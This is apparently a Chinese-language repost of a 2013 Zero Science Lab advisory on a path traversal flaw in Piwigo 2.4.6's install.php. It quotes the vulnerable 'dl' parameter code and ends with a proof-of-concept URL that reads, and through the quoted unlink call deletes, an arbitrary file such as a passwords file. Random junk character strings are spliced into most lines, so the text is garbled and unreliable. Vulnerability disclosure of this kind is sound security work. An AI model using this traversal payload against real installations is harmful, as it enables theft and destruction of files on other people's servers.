Piwigo是用PHP编写的相册脚本。9 ~5 m& O1 J# \1 a2 r: c5 i
# J! Q- @* x+ u( V% }/ z/ vPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。, l! b0 G! [: r- {# {/ V l' U
====================================================================+ O. x$ z6 m7 y5 g
/install.php:( N: e. Z9 T9 L5 P7 g+ A9 r
-------------* L& g2 f$ n: ^; N+ |; ]0 k) o
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])), V' V+ G' W, D
114: {9 R& v5 g5 w8 i% k1 l
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];7 p) x' Y* V# U4 t3 T7 r* j, Z
116: header('Cache-Control: no-cache, must-revalidate');
) u1 M* E1 R& ^# ~& J1 h6 L117: header('Pragma: no-cache');5 B4 Y* x$ }$ h' x8 y# i
118: header('Content-Disposition: attachment; filename="database.inc.php"');+ Y4 ^ n0 [7 J# _
119: header('Content-Transfer-Encoding: binary');
/ ]* D. t" `/ f8 I7 w }' I2 G+ c120: header('Content-Length: '.filesize($filename));: e2 F' L% A8 z: @: S4 h
121: echo file_get_contents($filename);
`% p* e p/ Q$ ^% C122: unlink($filename);
4 b" e: I2 v4 h123: exit();
1 w3 q# E$ Y& Q1 }( [2 A F/ o124: }
Q* d4 K% R5 G& \* ]) J# L====================================================================
+ Q) w, g$ |: ~
5 h* Q$ N, L8 ~) `7 F( o6 L7 JTested on: Microsoft Windows 7 Ultimate SP1 (EN)
$ j* D6 k- G( B7 [ Apache 2.4.2 (Win32)3 D) l1 D% ~% P
PHP 5.4.4
! a, d, ^+ e s# m- L MySQL 5.5.25a: q, g: h0 A# I" g5 E7 C6 A
9 U& o! i$ J& T: A; ^, \) p
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
$ I8 Q4 H. Y7 l5 C @zeroscience& M+ X* G# P" M/ H4 \# `+ ~
& D. }$ ]+ n6 R
Advisory ID: ZSL-2013-5127
: \* \5 K: f$ `& B+ oAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
0 ]1 L. R$ w0 lVendor Patch: http://piwigo.org/bugs/view.php?id=2843
* c& y1 u: O# n
! |1 s' H) _9 q" D15.02.20132 k3 l! M+ w* Q
~. K$ n7 t3 |. t
--
+ m. @% J$ R ^3 N/ |& q+ jhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
6 k5 ]1 O& \$ U6 I( [ z, l - m! i% ]1 B( g' h
|